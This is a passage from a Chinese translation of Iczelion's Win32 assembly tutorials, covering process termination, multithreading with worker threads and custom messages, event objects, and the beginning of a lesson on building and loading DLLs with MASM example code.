NORMAL_PRIORITY_CLASS,\
NULL,NULL,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread
.elseif ax==IDM_TERMINATE
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

分析：

应用程序创建主窗口，保存菜单句柄以备后用。当用户在主菜单中选择了“Process”菜单项后，消息处理过程中接收到WM_INITMENUPOPUP消息，我们在此处修改弹出式菜单中的菜单项的“使能”和“非使能”，以便同一菜单有不同的显示。

.ELSEIF uMsg==WM_INITMENUPOPUP
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if eax==TRUE
.if ExitCode==STILL_ACTIVE
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_ENABLED
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif

我们之所以处理该消息的目的就是让菜单显示时有不同的外观以方便用户的使用。譬如；新进程尚未运行时，我们就变亮（使能）“菜单项“start process”，而变灰（非使能）菜单项“terminate process”。当新进程运行起来后，菜单的外观就应该是相反的。
首先我们调用GetExitCodeProcess函数，其中传入由CreateProcess返回的句柄。如果GetExitCodeProcess返回FALSE，则表示进程尚未运行，我们就让菜单项“terminate process”变灰；如果返回TRUE，表示新进程已经启动了，我们再检测是否正在运行，这通过比较ExitCode是否等于STILL_ACTIVE 来完成，如果相等，表示进程仍在运行，我们就让菜单项“start process”变灰，因为在我们的简单的应用程序中不提供同时运行多个进程的能力。

.if ax==IDM_CREATE_PROCESS
.if processInfo.hProcess!=0
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.endif
invoke GetStartupInfo,ADDR startInfo
invoke CreateProcess,ADDR programname,NULL,NULL,NULL,FALSE,\
NORMAL_PRIORITY_CLASS,\
NULL,NULL,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread

当用户选择了菜单项“start process”时，我们先检测结构体PROCESS_INFORMATION中的成员变量hPRocess是否已经关闭。如果是第一次启动应用程序，那该变量为0，因为我们在.data分段定义结构体时已经初始化该值为0。如果该值不为0，则表明新进程已经结束，但是我们尚未关闭该进程的句柄（以减少该进程的引用记数），我们在此处完成该动作。
我们调用GetStartupInfo函数来填充启动信息的结构体变量，而该变量将被传递到CreateProcess函数中去。调用CreateProcess生成新进程，我们不检查该函数的返回值为的是让问题简化一些，在实际应用中，必须做该项工作。在调用CreateProcess后，我们立即关闭在进程信息结构体参数中返回的主线程句柄，关闭线程句柄为的是减少该内核对象的引用记数，否则即使该线程退出后，其内核对象仍惨存在内核中得不到释放，这会引起资源泄露。进程其实也是一样，之所以我们不在该处关闭进程的句柄是因为稍后我们还要用该句柄去得到一些和进程相关的信息，至于线程，我们的应用程序不需要其相关信息。

.elseif ax==IDM_TERMINATE
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0

当用户选择了菜单项“terminate process”后，我们调用函数GetExitCodeProcess来检查新进程是否还存在，如果还存在我们就调用函数TerminateProcess来结束它。另外我们把它的句柄关闭掉，因为我们再也不用它了。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第十五课 多线程编程

本课中，我们将学习如何进行多线程编程。另外我们还将学习如何在不同的线程间进行通信。

理论：

前一课中，我们学习了进程，其中讲到每一个进程至少要有一个主线程。这个线程其实是进程执行的一条线索，除此主线程外您还可以给进程增加其它的线程，也即增加其它的执行线索，由此在某种程度上可以看成是给一个应用程序增加了多任务功能。当程序运行后，您可以根据各种条件挂起或运行这些线程，尤其在多CPU的环境中，这些线程是并发运行的。这些是在W32下才有的概念，在WIN16下并没有等同的概念。
在同一进程中运行不同的线程的好处是这些线程可以共享进程的资源，如全局变量、资源等。当然各个线程也可以有自己的私有栈用于保存私有数据。另外每个线程需要保存其运行上下文以便在线程切换时能够记住或恢复其上下文，当然这是由操作系统来完成的，对于用户是透明的。
我们大体上可以把线程分成两大类：
  1. 处理用户界面的线程：该类线程产生自己的窗口并负责处理相关的窗口消息。用户界面线程遵守WIN16下的互斥原则，即没一刻仅有一个用户界面线程使用USER和GDI库中的内核函数，也就是说当一个用户界面程序在进入GDI或USER中时，内核不允许重入。由此我们可以推论出WIN95的该部分内核的代码是遵守16位模式的。而WINOWS NT是纯的32位操作系统，所以不存在这个问题。
  2. 工作者线程：该类线程不用处理窗口界面，当然也就不用处理消息了。它一般都运行在后台干一些计算之类的粗，这大概也是把它叫做工作者线程的原因吧。

运用W32的多线程模式来编程，我们可以遵循某种策略：即让主线程仅来做用户界面的工作，而其它繁重的工作则交由工作者线程在后台完成。这就好比我们日常生活中的许多例子。譬如：政府管理者好比是用户界面线程，它负责听取民意，给职能部门分配工作，然后把工作成果汇报给公众。而具体的职能部门就是工作者线程，它负责完成下达的具体工作。如果让政府管理这来具体地做每一件事，它必须作一件事后再做另一项，那它就不能及时来听取和反馈民意。这样就无法管理好一个国家了。当然即使采用多线程制，政府管理部门也不一定就能管理好国家，但是程序却可以采用多线程机制来管理好她自己的工作。我们可以调用CreateThread函数来生成新线程。该函数的语法如下：

CreateThread proto lpThreadAttributes:DWORD,\
dwStackSize:DWORD,\
lpStartAddress:DWORD,\
lpParameter:DWORD,\
dwCreationFlags:DWORD,\
lpThreadId:DWORD

生成一个线程的函数和生成一个进程基本相同。
lpThreadAttributes -->如果您想要线程有缺省的安全属性，可以置该值为NULL。
dwStackSize --> 指定线程的堆栈大小。如果为0，那线程的大小和进程相同。
lpStartAddress--> 线程函数的起始地址。注意该函数仅接收一个32位的参数和返回一个32位的值。（该参数可以是一个指针，而且进程的线程可以直接存取进程定义全局变量，所以您大可不必担心不能如何把大量的参数传递给线程）。
lpParameter --> 传递给线程的上下文。
dwCreationFlags -->如果是0的话则表示创线程建后立即启动，相反的是标志位CREATE_SUSPENDED，这样您需要稍后显示地让该线程运行。
lpThreadId --> 内核给新生成的线程分配的线程ID。

如果生成线程成功的话，CreateThread函数就返回新线程的句柄。否则返回NULL。
如果没有给参数dwCreationFlags指定CREATE_SUSPENDED的话，该线程就会立即运行。如果不这样，我们上面说了，需要显示地启动该线程，要这样做您需要调用ResumeThread函数。
在线程返回后（线程的执行类似与执行一个函数，如果它调用了最后一条指令后，在汇编中是ret，那么该线程就结束了，除非您让它进入一个循环，譬如我们讲的用户界面线程就是如此，只不过它不退出的原因是进入的循环是在{while ( GetMessage（...）)...}中，如果您没有给它传递一个值为0的消息，那它可不会退出），系统会自动调用ExitThread函数透明地处理线程一些退出时的清理工作。当然您可以自己调用该函数，但似乎没有什么意义。要得到退出时的退出码，您可以调用GetExitCodeThread函数。
如果您想结束一个程序，可以调用TerminateThread函数，不过使用该函数要小心行事，因为该函数一旦被调用线程就会退出，这样它就没有机会来做清理自己的工作了。

现在我们来看看线程间的通讯机制。
总的说来一共有三种方法：

  • 使用全局变量
  • 使用Windows消息传递机制
  • 使用事件
上面我们说了线程会共享进程的资源,其中全局变量也包括在内，所以线程可以通过使用全局变量来通讯。但是这种办法的明显的缺点是在有多个线程存取同一个全局变量时，必须考虑同步的问题。譬如：有一个有十个成员变量的结构体，其中一个线程在对起赋值时，假设只更新了五个成员变量的值，这时内核的调度线程剥夺其运行权给另一个线程，这样接下来的线程如果想要用该全局结构体变量，它的值就显然不对了。另外多线程的程序也很难调试，尤其这些错误很隐蔽和很难复现时。如果两个线程都是用户界面线程时，用WINDOWS的消息机制来进行线程间的通讯是比较方便的.
您所要做的只是自定义一些windows消息（注意不要和windows的预定义的消息冲突），然后在线程之间传递可以了。您可以这样来定义消息，把WM_USER（它的值等于0x0400）当作基数，然后顺序地去加序号，譬如：

WM_MYCUSTOMMSG equ WM_USER+100h

小于WM_USER 的值是Windows系统的保留值，大于该值留给用户来使用。
如果其中有一个线程是工作者线程的话，那就不能用该种方法来进行通讯了，这是因为工作者线程没有消息队列。您应当用下面这种策略来进行工作者线程和用户界面线程之间的通讯：

User interface Thread ------> global variable(s)----> Worker thread
Worker Thread ------> custom window message(s) ----> User interface Thread

稍后我们的例子中将讲解这种通讯办法。
最后的办法是事件对象。您可以把事件对象看作是一种标志。如果事件对象的状态是无信号的话，说明该线程正在睡眠或挂起，在该种状态下系统是不会给该线程分配CPU时间片的。当一个线程的状态转成有信号时，WINDOWS就会唤醒该线程并且让它正常运行。

例子：

您可以下载例子并运行thread1.exe，然后激活菜单项"Savage Calculation"，然后程序开始执行指令"add eax,eax "，一共执行600,000,000次，您会发现在这个过程当中，用户界面将停止响应，您既不能使用菜单，也不能使用移动窗口。等到计算完成后，会弹出一个对话框，关闭掉对话框后窗口才可以和当初一样正常运行了。
为了避免这种不便，我们把计算的工作放入到一个单独的工作者线程中去，而主窗口仅仅响应用户的活动。您可以看到虽然用户界面的反应比平常时慢了，但还是可以工作的。

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_CREATE_THREAD equ 1
IDM_EXIT equ 2
WM_FINISH equ WM_USER+100h

.data
ClassName db "Win32ASMThreadClass",0
AppName db "Win32 ASM MultiThreading Example",0
MenuName db "FirstMenu",0
SuccessString db "The calculation is completed!",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwnd HANDLE ?
ThreadID DWORD ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_THREAD
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
0,\
ADDR ThreadID
invoke CloseHandle,eax
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSEIF uMsg==WM_FINISH
invoke MessageBox,NULL,ADDR SuccessString,ADDR AppName,MB_OK
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

ThreadProc PROC USES ecx Param:DWORD
mov ecx,600000000
Loop1:
add eax,eax
dec ecx
jz Get_out
jmp Loop1
Get_out:
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
ret
ThreadProc ENDP

end start

分析：

主程序的主线程是一个用户界面线程，它有一个普通窗口。用户选择菜单项"Create Thread"，程序就会产生一个线程：

.if ax==IDM_CREATE_THREAD
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax

上面的代码段产生一个线程，线程的主体代码是函数ThreadProc，该函数和主线程并行运行。在调用成功后，CreateThread函数立即返回，ThreadProc也开始运行。因为我们不再用线程句柄，我们立即关闭它以避免内存泄漏。我们前面讲过关闭句柄不会终止线程的执行，而只是减少起引用计数。

ThreadProc PROC USES ecx Param:DWORD
mov ecx,600000000
Loop1:
add eax,eax
dec ecx
jz Get_out
jmp Loop1
Get_out:
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
ret
ThreadProc ENDP

我们看到上面的线程的代码仅仅是做简单的计数工作，因为我们设了一个很大的基数，所以该线程会持续一段您能感觉得到的时间，当结束后它会向主线程发送WM_FINISH消息。WM_FINISH消息是我们自己定义的，它的定义如下：

    WM_FINISH equ WM_USER+100h
WM_USER消息是我们能够使用的最小消息值。
显然我们一看到WM_FINISH，就能从字面上理解该消息的意义。主线程接收到该消息后，会弹出一个对话框告诉用户，计算线程已经结束了。
通过线程之间的通讯，用户可以多次选择"Create Thread"，那样就可以运行多个计算线程了。
本例子中，线程之间的通讯是单向的。如果您想让主线程也能向工作者线程发送消息的话，譬如加入一个菜单项来控制工作者线程的结束，您可以这样做：
  • add a menu item saying something like "Kill Thread" in the menu
  • a global variable which is used as a command flag. TRUE=Stop the thread, FALSE=continue the thread
  • Modify ThreadProc to check the value of the command flag in the loop.
设立一个全局变量，当线程启动前，我们设置它的值为FALSE，当用户激活了我们加的菜单项时，该值变成TRUE。在线程的代码段ThreadProc中每次减1前，判断该值，如果为TRUE的话线程就结束循环体中的计算并退出线程。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第十六课 事件对象

本课中我们将要学习事件对象以及如何在多线程编程中如何使用同步对象。

理论：

上一课中我们演示了如何用WINDOWS消息在不同的线程之间进行通讯。另外的两种，即：使用全局变量和事件对象，将在本课中讲解。
事件对象就像一个开关：它只有两种状态---开和关。当一个事件处于”开”状态，我们称其为”有信号”否则称为”无信号”。您可以在一个线程的执行函数中创建一个事件对象，然后观察它的状态，如果是”无信号”就让该线程睡眠，这样该线程占用的CPU时间就比较少。
产生事件对象的函数如下：

CreateEvent proto lpEventAttributes:DWORD,\
bManualReset:DWORD,\
bInitialState:DWORD,\
lpName:DWORD

lpEventAttribute--> 如果是NULL值，产生的事件对象有缺省的安全属性。
bManualReset--> 如果想在每次调用WaitForSingleObject 后让WINDOWS为您自动地把事件地状态恢复为”无信号”状态，必须把该参数设为FALSE,否则，您必须每次调用ResetEvent函数来清除事件的信号。
bInitialState--> 刚刚产生事件对象时的状态。如果设为TRUE是”有信号”，否则是”无信号”。
lpName --> 事件对象的名称。您在OpenEvent函数中可能使用。

如果CreateEvent调用成功的话，会返回新生成的对象的句柄，否则返回NULL。
这里有两个API函数用来修改事件对象的信号状态：SetEvent和ResetEvent。前者把事件对象设为”有信号”状态，而后者正好相反。
在事件对象生成后，必须调用WaitForSingleObject来让线程进入等待状态，该函数的语法如下：

WaitForSingleObject proto hObject:DWORD, dwTimeout:DWORD

hObject -->指向同步对象的指针。事件对象其实是同步对象的一种。
dwTimeout --> 等待同步对象变成”有信号”前等待的时间，以毫秒计。当等待的时间超过该值后无信号同步对象仍处于”无信号”状态，线程不再等待，WaitForSingleObject函数会返回。如果想要线程一直等待，请把该参数设为INFINITE（该值等于0xffffffff)。

例子：

下面的例子显示了一个窗口，当用户选择了菜单项”run thread”后，线程开始简单的计数运算。结束后弹出一个对话框通知用户。在整个的计数期间，您可以选择菜单项”stop thread”来随时终止线程。

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_START_THREAD equ 1
IDM_STOP_THREAD equ 2
IDM_EXIT equ 3
WM_FINISH equ WM_USER+100h

.data
ClassName db "Win32ASMEventClass",0
AppName db "Win32 ASM Event Example",0
MenuName db "FirstMenu",0
SuccessString db "The calculation is completed!",0
StopString db "The thread is stopped",0
EventStop BOOL FALSE

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwnd HANDLE ?
hMenu HANDLE ?
ThreadID DWORD ?
ExitCode DWORD ?
hEventStart HANDLE ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
invoke GetMenu,hwnd
mov hMenu,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke CreateEvent,NULL,FALSE,FALSE,NULL
mov hEventStart,eax
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax
.ELSEIF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_START_THREAD
invoke SetEvent,hEventStart
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_ENABLED
.elseif ax==IDM_STOP_THREAD
mov EventStop,TRUE
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_GRAYED
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSEIF uMsg==WM_FINISH
invoke MessageBox,NULL,ADDR SuccessString,ADDR AppName,MB_OK
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

ThreadProc PROC USES ecx Param:DWORD
invoke WaitForSingleObject,hEventStart,INFINITE
mov ecx,600000000
.WHILE ecx!=0
.if EventStop!=TRUE
add eax,eax
dec ecx
.else
invoke MessageBox,hwnd,ADDR StopString,ADDR AppName,MB_OK
mov EventStop,FALSE
jmp ThreadProc
.endif
.ENDW
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_GRAYED
jmp ThreadProc
ret
ThreadProc ENDP
end start

分析：

本例中，我们演示另一种技巧：

.IF uMsg==WM_CREATE
invoke CreateEvent,NULL,FALSE,FALSE,NULL
mov hEventStart,eax
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax

在WM_CREATE 消息的处理中我们生成事件同步对象并创建线程。我们设置了相关的值让同步对象生成时处于”无信号”状态而且在调用了WaitForSingleObject后可以自动把事件对象的状态设为”无信号”。然后我们创建线程。 线程的代码开始执行后立即被阻塞：

ThreadProc PROC USES ecx Param:DWORD
invoke WaitForSingleObject,hEventStart,INFINITE
mov ecx,600000000

您可以看到线程的执行体的第一条代码就是调用WaitForSingleObject函数，该函数使得线程阻塞并且一直处于等待事件对象变成”有信号”。这也就是说，我们以开始就让该线程进入了睡眠状态。 当用户选择了菜单项”run thread”后，我们把事件对象得状态变成”有信号”：

.if ax==IDM_START_THREAD
invoke SetEvent,hEventStart

函数SetEvent可以让同步对象变成”有信号”状态，那么下一次线程得到时间片运行时，WaitForSingleObject函数就会返回，线程余下的代码就可以得到执行了。当用户选择了菜单项”stop thread” 时，我们把全局变量EventStop设为TRUE。

.if EventStop==FALSE
add eax,eax
dec ecx
.else
invoke MessageBox,hwnd,ADDR StopString,ADDR AppName,MB_OK
mov EventStop,FALSE
jmp ThreadProc
.endif

这样线程得计数工作结束，然后跳转到重新执行WaitForSingleObject函数的地方。注意：我们不用手动清除事件对象的信号，因为在调用CreateEvent函数时把参数bManualReset的值设为了FALSE。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第十七课 动态链接库

本课中，我们将学习DLLs，它们到底是什么和如何创建它们。

理论：

如果您编程的时间非常长，就会发现很多的程序之间其实有相当多的重复代码。每编一个程序就重写一遍这些代码既没必要又浪费时间。在DOS时代，一般的做法是把这些重复的代码写成一个个的函数，然后把它们按类别放到不同的库文件中去。当要使用这些函数时，只要把您的目标文件（.obj)文件和先前存放在库文件中的函数进行链接，链接时链接器会从库文件中抽取相关的信息并把它们插入到可执行文件中去。这个过程叫做静态链接。C运行时库就是一个好例子。这样的库的缺点是您在每一个调用库函数的程序中都必须嵌入同一函数的拷贝，这显然很浪费磁盘。在DOS时代毕竟每一时刻仅有一个程序在运行，所以浪费的还只是磁盘而已，在多任务的WINDOWS时代就不仅浪费磁盘，还要浪费宝贵的内存了。

在WINDOWS中，由于有多个程序同时运行，如果您的程序非常大的话，那将消耗相当多的内存。WINDOWS的解决办法是：使用动态链接库。动态链接库从表面上看也是一大堆的通用函数，不过即使有多个程序调用了它，在内存中也仅仅只有动态链接库的唯一一份拷贝。WINDOWS是通过分页机制来作到这一点的。当然，库的代码只有一份，但是每一个应用程序要有自己单独的数据段，要么就会乱掉。
不象旧时的静态链接库，它并不会把这些函数的可执行代码放入到应用程序中去，而是当程序已经在内存中运行时，如果需要调用该函数时才调入内存也即链接。这也就是为什么把它叫做“动态”的原因所在。另外您还可以动态地卸载动态链接库，当然要求这时没有其它的应用程序在使用它，否则就要一直等到最后一个使用它的函数也不再使用该动态链接库时才能去卸载它。
为了正确的调用库和给库函数分配内存空间，在编译和链接应用程序时，必须把重定位等一些消息插入到执行代码中去，以便载入正确的库，并给库函数分配正确的地址。
那么这些信息从哪里得到呢？引入库。引入库包含足够的信息，链接器从中抽取足够的信息（注意区别：静态链接库放入的是可执行代码）把它们放入到可执行文件中去。当WINDOWS的加载器装入应用程序查看到有DLL时，它会查找该库文件，如果没有查到，就报错退出，否则就把它映射进进程的地址空间，并修正函数调用语句的地址。
如果没有引入库呢？当然我们也可以调用动态链接库中的任意函数。只不过您必须知道调用的函数是否在库中而且是否在库的引出名字表中，另外还需要知道该函数的参数个数和参数的类型。

（译者加：说到这里，让我想起了一件很有名的事。<<Undocumented Windows>>一书的作者Angel Schudleman 曾经利用此方法来跟踪微软Win3x系统动态链接库中未公开的函数，因为在微软给程序员提供的系统动态链接库的引入库中没有提供这些函数的原型，所以您无法在链接时把这些函数的信息链接到可执行文件中去，而为了某种目的您又要使用这些函数，您就可以在执行时加载动态链接库并得到这些函数的地址，从而和调用其它的库函数一样使用这些未公开的函数。由于这本书的巨大影响，当时许多程序员纷纷在它们的程序中调用未公开函数，甚至在写商业程序时也这么做。这种走偏峰的做法引起了微软的反感，后来微软在它Win3x的改进版中不再把那些未公开函数列入系统动态链接库的引出名字表，这样也就无法再利用这种方法来调用未公开的函数了。）

  • 当您让系统的加载器为您加载动态库时，如果不能找到库文件，它就会提示一条“A required .DLL file, xxxxx.dll is missing”，这样您的应用程序就无法运行，即使该库对您的应用程序来说并不重要。
  • 如果您选择在程序运行时自己加载该库，就没有这种问题了。
  • 如果您知道足够的信息，就可以调用系统未公开的函数。
  • 如果您调用LoadLibrary函数加载库，就必须再调用GetProcAddress函数来得到每一个您想调用的函数的地址，GetProcAddress会在动态链接库中查找函数的入口地址。由于多余的步骤，这样您的程序执行起来会慢一点，但是并不明显。
明白了LoadLibrary函数的优缺点，下面我们就来看看如何产生一个动态链接库。下面的代码是一个动态链接库的框架：

;--------------------------------------------------------------------------------------
; DLLSkeleton.asm
;--------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp
;---------------------------------------------------------------------------------------------------
;下面是一个空函数，您可以象下面一样插入您的函数。
;----------------------------------------------------------------------------------------------------
TestFunction proc
ret
TestFunction endp

End DllEntry

;-------------------------------------------------------------------------------------
; DLLSkeleton.def
;-------------------------------------------------------------------------------------
LIBRARY DLLSkeleton
EXPORTS TestFunction

上面是一个动态链接库的框架，每一个DLL必须有一个入口点函数，WINDOWS每一次在做下面的动作时会调用该入口点函数：

  • 当动态链接库被加载时
  • 当动态链接库卸载时
  • 同一进程的线程生成时
  • 同一进程的线程退出时

DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp

入口点函数的名称无所谓只要您让语句“END<函数名>”中的函数名和前面的相同就可以了。该函数共有三个参数，只有前面两个是重要的。
hInstDLL是该动态链接库模块的句柄。它和进程的实例句柄不一样。如果您以后要用，可以保存它，因为以后再要获得它不容易。
根据不同的时机，reason传入的值可能是下面的四个值中的一个：

  • DLL_PROCESS_ATTACH 动态链接库第一次插入进程的地址空间时。当传入的参数是该值时，您可以做一些初始化的工作。
  • DLL_PROCESS_DETACH 动态链接库从进程的地址空间卸出时。您可以在此做一些清理的工作。譬如：释放内存等。
  • DLL_THREAD_ATTACH 新线程生成。
  • DLL_THREAD_DETACH 线程销毁。

如果想要库中的代码继续执行，返回TRUE，否则返回FALSE，那样动态链接库就不会加载了。譬如：您想分配一块内存，如果不成功的话就退出，这时您就可以返回FALSE。那样动态链接库就不会加载了。
您可以加入的函数，它们的位置并不重要，把它们放在入口点函数的前面或后面都可以。只是如果您想要它们能被其它的程序调用的话，就必须把它们的名字放到模块定义文件（.def）中去。
动态链接库在它们自己的编译过程就需要，而不只是提供给其它要引用它的程序参考。他们如下：

LIBRARY DLLSkeleton
EXPORTS TestFunction

第一行是必须的。LIBRARY 定义了DLL的模块名称。它必须和动态链接库的名称相同。
EXPORTS关键字告诉链接器该DLL的引出函数，也就是其它程序可以调用的函数。举个例子：其它的程序想要调用函数TestFunction ，我们就把它放到EXPORTS中。
还有就是，链接器的选项中必须放入开关项：/DLL 和/DEF<DLL文件名>，就像下面这样：

link /DLL /SUBSYSTEM:WINDOWS /DEF:DLLSkeleton.def /LIBPATH:c:\masm32\lib DLLSkeleton.obj

编译器的开关选项是一样的，即：/c /coff /Cp。在您链接好后，链接器会生成.lib 和.dll文件。前者是引入库，当其它的程序要调用您的动态链接库中的函数时就需要该引入库，以便把必要的信息加入到其可执行文件中去。
接下来我们来看看如何使用LoadLibrary函数来加载一个DLL。

;---------------------------------------------------------------------------------------------
; UseDLL.asm
;----------------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
LibName db "DLLSkeleton.dll",0
FunctionName db "TestHello",0
DllNotFound db "Cannot load library",0
AppName db "Load Library",0
FunctionNotFound db "TestHello function not found",0

.data?
hLib dd ? ; 动态链接库的句柄 (DLL)
TestHelloAddr dd ? ; TestHello 函数的地址

.code
start:
invoke LoadLibrary,addr LibName
;---------------------------------------------------------------------------------------------------------
; 调用LoadLibrary，其参数是欲加载的动态链接库的名称。如果调用成功，将返回该DLL的句柄。 否则返回NULL。该句柄可以传给 :library函数和其它需要动态链接库句柄的函数。
;-----------------------------------------------------------------------------------------------------------
.if eax==NULL
invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK
.else
mov hLib,eax
